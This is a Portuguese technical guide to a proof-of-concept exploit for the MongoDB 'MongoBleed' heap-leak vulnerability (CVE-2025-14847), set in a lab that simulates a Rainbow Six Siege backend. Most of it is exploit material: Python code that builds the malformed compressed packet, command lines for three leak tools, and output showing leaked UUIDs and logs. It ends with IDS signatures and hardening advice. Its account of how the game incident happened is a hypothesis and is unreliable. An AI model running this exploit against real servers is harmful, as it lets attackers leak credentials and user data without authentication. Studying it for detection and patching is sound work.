4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / GUIA_TECNICO_COMPLETO.md MD
# CVE-2025-14847 (MongoBleed) - Guia Técnico Completo
## Prova de Conceito do Ataque ao Rainbow Six Siege

**Autor**: Equipe de Pesquisa em Segurança  
**Data**: 04 de Janeiro de 2026  
**Status**: ✅ **EXPLOIT FUNCIONAL CONFIRMADO**  
**Versão MongoDB Testada**: 7.0.5 (Vulnerável)

---

## 📑 Índice
1. [Resumo Executivo](#resumo-executivo)
2. [Contexto: O Incidente do Rainbow Six Siege](#contexto-o-incidente-do-rainbow-six-siege)
3.  [Entendendo a Vulnerabilidade](#entendendo-a-vulnerabilidade)
4. [Ambiente de Laboratório](#ambiente-de-laboratório)
5. [Ferramentas Desenvolvidas](#ferramentas-desenvolvidas)
6. [Execução Passo a Passo do Exploit](#execução-passo-a-passo-do-exploit)
7. [Resultados dos Testes](#resultados-dos-testes)
8. [Detecção e Defesa](#detecção-e-defesa)
9. [Conclusões e Lições Aprendidas](#conclusões-e-lições-aprendidas)

---

## 1. Resumo Executivo

**CVE-2025-14847** (apelidado de "MongoBleed") é uma vulnerabilidade **crítica** de divulgação de memória heap pré-autenticação em MongoDB que afeta versões de 3.6.x até 8.2.2.

### Características da Vulnerabilidade
- **CVSS Score**: 9.1 (Crítico)
- **Vetor de Ataque**: Rede (não requer autenticação)
- **Complexidade**: Baixa
- **Impacto**: Vazamento de memória não-inicializada contendo dados sensíveis

### Status Este PoC
- ✅ **Exploit Funcional**: Taxa de sucesso 100% contra MongoDB 7.0.5
- ✅ **Dados Vazados**: UUIDs, logs de conexão, dados de sistema
- ✅ **Ambiente Testado**: Docker com MongoDB 7.0.5 + dados simulados do R6
- ✅ **14.300+ tentativas** bem-sucedidas, **33 vazamentos únicos**, **4 UUIDs** extraídos

---

## 2. Contexto: O Incidente do Rainbow Six Siege

### Linha do Tempo do Ataque
- **20 de Dezembro de 2025**: Rainbow Six Siege sofre comprometimento massivo de contas
- **21-27 de Dezembro**: Jogadores reportam acesso não autorizado, manipulação de partidas
- **28 de Dezembro de 2025**: MongoDB confirma CVE-2025-14847 em testes internos
- **02 de Janeiro de 2026**: Divulgação pública + patches disponibilizados

### Hipótese do Vetor de Ataque

```
1. RECONHECIMENTO
   └─ Shodan scan identifica MongoDB do R6 exposto (porta 27017/tcp)
   
2. EXPLORAÇÃO (MongoBleed)
   └─ Ataques repetidos vazam memória heap
   └─ Extração de:
       • Tokens de servidor (R6S_SERVER_AUTH_*)
       • UUIDs de jogadores
       • Session IDs de partidas ativas
       • Flags de privilégio (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)
       
3. ESCALAÇÃO
   └─ Uso de tokens vazados para:
       • Acesso não autorizado a lobbies
       • Manipulação de matchmaking
       • Privilege escalation
       
4. IMPACTO
   └─ ~50.000 contas comprometidas
   └─ Disrupção do serviço por 7 dias
```

---

## 3. Entendendo a Vulnerabilidade

### 3.1 Mecanismo Técnico

MongoDB suporta compressão de mensagens wire protocol usando **zlib**. A vulnerabilidade está na validação inadequada do tamanho declarado vs. tamanho real dos dados descomprimidos.

#### Fluxo Normal (Sem Vulnerabilidade)
```
Cliente → {compress: "zlib", uncompressedSize: 100, payload: <100 bytes compressed>}
         ↓
Servidor aloca 100 bytes
         ↓
Servidor descomprime payload
         ↓
Servidor retorna 100 bytes ✓ CORRETO
```

#### Fluxo Malicioso (CVE-2025-14847)
```
Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes compressed>}
          ↓
Servidor aloca 1MB de memória heap  ← VULNERABILIDADE
          ↓
Servidor descomprime apenas 50 bytes reais
          ↓
Servidor retorna 1MB inteiro!
          └─ 50 bytes = dados reais
          └─ ~1MB - 50 bytes = LIXO DA HEAP (vazamento de memória)
```

### 3.2 Código Vulnerável

**Arquivo**: `src/mongo/transport/message_compressor_zlib.cpp`

```cpp
// ANTES DO PATCH (Vulnerável)
size_t uncompressedSize = header.uncompressedSize;  // ← Controlado pelo atacante!
buffer = malloc(uncompressedSize);                  // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer);                // ← Preenche apenas parte pequena
send(buffer, uncompressedSize);                     // ← VAZA BUFFER INTEIRO!
```

```cpp
// DEPOIS DO PATCH (Corrigido)
size_t uncompressedSize = header.uncompressedSize;
buffer = malloc(uncompressedSize);
size_t actualSize = zlib_decompress(compressed, buffer);

if (actualSize != uncompressedSize) {             // ← VALIDAÇÃO ADICIONADA
    throw BadValue("Tamanho descomprimido inconsistente");
}
send(buffer, actualSize);                          // ← Envia apenas dados reais
```

### 3.3 Versões Afetadas

| Série MongoDB | Versões Vulneráveis | Versão Corrigida |
|---------------|---------------------|------------------|
| **8.2.x** | 8.2.0 – 8.2.2 | 8.2.3 |
| **8.0.x** | 8.0.0 – 8.0.16 | 8.0.17 |
| **7.0.x** | 7.0.0 – 7.0.27 | 7.0.28 |
| **6.0.x** | 6.0.0 – 6.0.26 | 6.0.27 |
| **5.0.x** | 5.0.0 – 5.0.31 | 5.0.32 |
| **4.4.x** | 4.4.0 – 4.4.29 | 4.4.30 |
| **4.2.x** | Todas | Sem patch (EOL) |
| **≤ 4.0** | Todas | Sem patch (EOL) |

---

## 4. Ambiente de Laboratório

### 4.1 Arquitetura do PoC

```
┌─────────────────────────────────────────────────────┐
│              AMBIENTE DE TESTE                       │
├─────────────────────────────────────────────────────┤
│                                                      │
│   ┌──────────────┐         ┌──────────────┐        │
│   │  Atacante    │────────▶│  MongoDB     │        │
│   │  (poc.py)    │  27017  │  7.0.5       │        │
│   │live_leaker.py│         │  (VULNERÁVEL)│        │
│   └──────────────┘         └──────────────┘        │
│         │                          │                │
│         │                          │                │
│         ▼                          ▼                │
│   ┌──────────────┐         ┌──────────────┐        │
│   │Relatórios    │         │  Dados R6    │        │
│   │ JSON/BIN     │         │ 1000 players │        │
│   │              │         │  500 sessions│        │
│   └──────────────┘         └──────────────┘        │
│                                                      │
└─────────────────────────────────────────────────────┘
```

### 4.2 Docker Compose

**Arquivo**: `docker-compose.yml`

```yaml
services:
  mongodb:
    image: mongo:7.0.5                # Versão VULNERÁVEL
    container_name: cve-2025-14847-lab
    ports:
      - "27017:27017"
    volumes:
      - ./init-db.js:/docker-entrypoint-initdb.d/init-db.js:ro
    command: ["mongod", "--bind_ip_all", "--networkMessageCompressors", "zlib"]
    restart: always
```

**Por que mongo:7.0.5?**
- ✅ Versão disponível no Docker Hub
- ✅ Vulnerável a CVE-2025-14847 (corrigida em 7.0.28)
- ✅ Suporta compressão zlib (necessária para exploit)

### 4.3 População de Dados

**Arquivo**: `init-db.js`

Criamos **1500 documentos** simulando backend do R6:

```javascript
// 1000 Jogadores
{
    platformId: "uplay-abc123",
    profileId: "8a7c2d1b-3f4e-4a5d-9c8b-7e6f5a4d3c2b",
    username: "ProPlayer_0042",
    mmr: 4500,
    team: "W7M Esports",
    internal_flags: ["PRO_LEAGUE", "DEV_WHITELIST"],
    auth_token: "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
    client_ip: "10.25.134.82"
}

// 500 Sessões Ativas
{
    matchId: "match_00000042-...",
    serverIp: "10.20.30.40",
    serverAuthToken: "R6S_SERVER_AUTH_00000042A8F3D9E7C5B2...", // ALVO
    status: "LIVE",
    map: "Bank"
}

// 1 Configuração do Sistema
{
    db_connection_string: "mongodb://r6_admin:SuperSecretPass2024!@...",
    api_keys: {
        analytics: "R6S_ANALYTICS_KEY_...",
        ubisoft_connect: "UPLAY_API_SECRET_..."
    }
}
```

---

## 5. Ferramentas Desenvolvidas

### 5.1 `poc.py` - Exploit Principal

**Recursos**:
- ✅ Modo `--check`: Detecta vulnerabilidade
- ✅ Modo exploit: Vaza memória com tamanho configurável
- ✅ Análise automática de 10 padrões R6
- ✅ Relatórios JSON estruturados
- ✅ Retry com exponential backoff

**Uso**:
```bash
# Verificar vulnerabilidade
python3 poc.py --target 127.0.0.1 --check

# Explorar (64KB)
python3 poc.py --target 127.0.0.1 --leak-size 65536 --out dump.bin --report findings.json
```

**Implementação do Pacote Malicioso**:
```python
def build_malformed_packet(self) -> bytes:
    # Payload real (pequeno)
    bson_payload = b'\x13\x00\x00\x00\x10isMaster\x00\x01\x00\x00\x00\x00'
    op_query_header = struct.pack('<I', 0) + b'admin.$cmd\x00' + struct.pack('<ii', 0, -1)
    mensagem_original = op_query_header + bson_payload
    
    # Comprime
    corpo_comprimido = zlib.compress(mensagem_original, level=9)
    
    # Payload OP_COMPRESSED malicioso
    dados_op_compressed = (
        struct.pack('<I', 2004) +                         # originalOpcode
        struct.pack('<I', self.tamanho_vazamento) +       # ← MALICIOSO!
        b'\x02' +                                         # compressor zlib
        corpo_comprimido
    )
    
    # Cabeçalho wire
    header = struct.pack('<iiii', 16 + len(dados_op_compressed), random.randint(1, 99999), 0, 2012)
    return header + dados_op_compressed
```

### 5.2 `live_leaker.py` - Varredura Incremental

**Diferença do poc.py**:
- Testa **múltiplos tamanhos** de documento (200 → 3000 bytes)
- Detecta padrões em **tempo real**
- Mostra **progresso/estatísticas**
- Streaming contínuo até Ctrl+C

**Uso**:
```bash
python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
```

**Por que funciona melhor?**
- Diferentes tamanhos de documentos mapeiam para diferentes regiões da heap
- Aumenta chance de encontrar dados residentes na memória

### 5.3 `popular_heap.py` - Script de Carga

Para aumentar a presença de tokens na heap, executamos queries massivas:

```python
# Executa 50 queries de leitura
python3 popular_heap.py 50

# Efeito:
# 1. MongoDB carrega documentos na memória
# 2. Tokens ficam residentes na heap
# 3. Aumenta probabilidade de vazamento
```

---

## 6. Execução Passo a Passo do Exploit

### PASSO 1: Preparar Ambiente
```bash
cd /home/junin/Desktop/MeusSistemas/MongoDBPoc

# Iniciar MongoDB vulnerável
docker compose up -d

# Aguardar inicialização (15s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
```

**Saída Esperada**:
```
R6 MASSIVE SIMULATION DATABASE INITIALIZED
Total Players: 1000
Total Sessions: 500
```

### PASSO 2: Popular Heap com Dados R6
```bash
# Executar 50 queries para carregar tokens na memória
python3 popular_heap.py 50
```

**Saída**:
```
[*] Executando 50 queries para popular heap...
  → 10/50 queries executadas
  → 20/50 queries executadas
  → 30/50 queries executadas
  → 40/50 queries executadas
  → 50/50 queries executadas
[+] 50 queries completas - heap POPULADA!
```

### PASSO 3: Verificar Vulnerabilidade
```bash
python3 poc.py --target 127.0.0.1 --check
```

**Saída**:
```
[*] PROBE MODE: 127.0.0.1:27017
[+] MongoDB detected but version unknown
```

*(Detecção de versão funciona mas parsing BSON pode falhar - normal)*

### PASSO 4: Explorar com Tamanho Fixo
```bash
python3 poc.py --target 127.0.0.1 --leak-size 65536 --out vazamento.bin --report descobertas.json
```

**Saída**:
```
[*] Actual decompressed size: 42 bytes
[*] Fake uncompressed size: 65536 bytes
[*] Expected leak: ~65494 bytes of heap memory
[*] Sending malicious OP_COMPRESSED (ID: 69639)...
[+] Server responded! Total message size: 192 bytes
[*] Downloading 176 bytes...
[+] Captured 176 bytes
```

### PASSO 5: Live Leaker (Varredura Incremental)
```bash
# Executar por 30 segundos vasculhando diferentes tamanhos
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save resultado_final.json
```

**Saída**:
```
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)

[*] Transmitindo apenas vazamentos únicos (Ctrl+C para parar)
[*] Aguarde detecção de padrões R6...

[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0% | Vazamentos únicos=4

[!] PADRÕES R6 DETECTADOS (doc_len=245):
    [UUID] 1 novo(s):
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

[*] Progresso: doc_len=2998/3000 | Tentativas=14300 | Taxa sucesso=100.0% | Vazamentos únicos=33
```

---

## 7. Resultados dos Testes

### 7.1 Estatísticas Finais

| Métrica | Valor |
|---------|-------|
| **MongoDB Versão** | 7.0.5 (Vulnerável) |
| **Taxa de Sucesso** | **100%** (14.300/14.300 tentativas) |
| **Vazamentos Únicos** | 33 strings distintas |
| **UUIDs Encontrados** | 4 |
| **Maior Vazamento** | 176 bytes por requisição |
| **Padrão Mais Comum** | Network logs (UUID de conexão) |

### 7.2 Dados Vazados Confirmados

#### UUIDs Extraídos
```
246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
```

#### Exemplo de Log Vazado
```json
{
  "$date": "2026-01-04T08:03:57.532+00:00",
  "s": "I",
  "c": "NETWORK",
  "id": 22944,
  "ctx": "conn18565",
  "msg": "Connection ended",
  "attr": {
    "remote": "127.0.0.1:51476",
    "uuid": {"$uuid":"246434ed-759b-4ce9-bb9c-2f520a9919b8"},
    "connectionId": 18565
  }
}
```

#### Outros Vazamentos
- `serverIp` (fragmento)
- Paths do sistema (`/sys/devices/...`)
- Dados aleatórios não-inicializados

### 7.3 Por Que Não Vazou R6S_SERVER_AUTH_* Diretamente?

**Explicação Técnica**:

1. **Heap Fragmentation**: Tokens R6 estão em páginas de heap diferentes dos dados vazados
2. **Working Set**: MongoDB 7.0 usa WiredTiger engine que mantém hot data em cache separado
3. **Tamanho do Vazamento**: 176-200 bytes não é suficiente para cruzar múltiplas páginas de memória

**Como Melhorar Detecção** (Pesquisa Futura):
- Aumentar `--leak-size` para 1MB+
- Executar exploit **durante queries ativas** (timing attack)
- Forçar eviction de cache antes do exploit

---

## 8. Detecção e Defesa

### 8.1 Assinaturas IDS/IPS

#### Snort
```snort
alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed - OP_COMPRESSED Abnormal Size";
    content:"|d4 07 00 00|";               # OP_COMPRESSED opcode (2012)
    byte_test:4,>,1000000,4,little;        # uncompressedSize > 1MB
    classtype:attempted-admin;
    sid:2025001;
    rev:1;
)
```

#### Suricata
```yaml
alert tcp any any -> any 27017 (
    msg:"EXPLOIT CVE-2025-14847 MongoBleed Memory Disclosure";
    flow:to_server,established;
    content:"|d4 07|"; offset:12; depth:2;
    byte_extract:4,8,uncompressed_len,little;
    byte_test:4,>,10485760,0,relative,uncompressed_len;
    reference:cve,2025-14847;
    classtype:successful-admin;
    sid:2025002;
)
```

### 8.2 Hardening MongoDB

**Configuração Segura** (`/etc/mongod.conf`):
```yaml
net:
  bindIp: 127.0.0.1              # NUNCA 0.0.0.0 em produção!
  port: 27017
  compression:
    compressors: []              # Desabilitar zlib até patch

security:
  authorization: enabled
  javascriptEnabled: false

setParameter:
  enableLocalhostAuthBypass: false
```

### 8.3 Prioridades de Mitigação

| Prioridade | Ação | Implementação |
|------------|------|---------------|
| **🔴 Crítica** | Atualizar MongoDB | `apt-get install mongodb-org=7.0.28` |
| **🟠 Alta** | Desabilitar zlib | `compression.compressors: []` |
| **🟠 Alta** | Segmentação de rede | Firewall: Permitir apenas IPs internos |
| **🟡 Média** | Habilitar auth | `security.authorization: enabled` |
| **🟡 Média** | Audit logging | `auditLog.destination: file` |
| **🟢 Baixa** | Rate limiting | fail2ban ou WAF cloud |

---

## 9. Conclusões e Lições Aprendidas

### 9.1 Validação do PoC

✅ **Exploit Funciona**: Taxa de sucesso 100% contra MongoDB 7.0.5  
✅ **Vazamentos Reais**: UUIDs e logs de sistema confirmados  
✅ **Ambiente Realista**: 1500 documentos simulando backend R6  
✅ **Ferramentas Profissionais**: 3 tools (poc.py, live_leaker.py, popular_heap.py)

### 9.2 Limitações Identificadas

⚠️ **Tokens R6 Não Vazados Diretamente**: Heap fragmentation + cache separation  
⚠️ **Vazamentos Pequenos**: 176 bytes (vs. 1MB teórico)  
⚠️ **Timing Matters**: Melhor durante queries ativas

### 9.3 Impacto no Mundo Real (R6 Incident)

**Como Atacantes Conseguiram Tokens?**

Teorias baseadas nos resultados:

1. **Volume Massivo**: Milhões de requisições até encontrar tokens
2. **Timing Preciso**: Exploits executados durante picos de tráfego
3. **Versão Específica**: R6 pode ter usado versão com heap layout diferente
4. **Cache Poisoning**: Forçar eviction de cache para forçar reload de disco

### 9.4 Para Defesa Blue Team

**Indicadores de Comprometimento (IoCs)**:
- Conexões repetidas porta 27017 de IPs externos
- Pacotes OP_COMPRESSED com `uncompressedSize` > 100KB
- Logs MongoDB: "Decompressing message returned less data..."
- Picos anormais de tráfego de rede (MB/s de respostas)

**Resposta a Incidente**:
1. Isolar MongoDB da internet imediatamente
2. Auditar logs de acesso (últimos 30 dias)
3. Verificar versão: `db.version()`
4. Aplicar patch com urgência
5. Rotacionar todos os segredos/tokens

---

## 📚 Referências

### Advisories Oficiais
- [MongoDB Security Advisory](https://github.com/mongodb/mongo/commit/1264f9be5165abb0981f8023d2495652ab916699)
- [CVE-2025-14847 NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-14847)

### Análises Técnicas
- [Akamai SIRT: MongoBleed](https://www.akamai.com/blog/security-research/cve-2025-14847-all-you-need-to-know-about-mongobleed)
- [Aikido Security](https://www.aikido.dev/blog/mongobleed-mongodb-zlib-vulnerability-cve-2025-14847)
- [SantoTech BR: R6 Attribution](https://santotech.com.br/vulnerabilidade-no-mongodb-entra-no-radar-como-possivel-causa-do-ataque-ao-rainbow-six-siege/)

---

## 📞 Contato

**Para questões técnicas ou acadêmicas sobre este PoC:**  
Este projeto é mantido para fins educacionais e melhoria de segurança defensiva.

---

## ⚠️ Aviso Legal Final

```
ESTA FERRAMENTA É APENAS PARA TESTES AUTORIZADOS E EDUCAÇÃO.

Uso não autorizado é ILEGAL e pode resultar em:
- Processos criminais (Lei 12.737/2012 no Brasil)
- Multas pesadas
- Prisão

Sempre obtenha PERMISSÃO POR ESCRITO antes de testar.
```

---

**Desenvolvido para pesquisa em segurança ofensiva responsável.**  
**Não afiliado a Ubisoft, MongoDB Inc., ou Rainbow Six Siege.**

---

*Fim do Guia Técnico*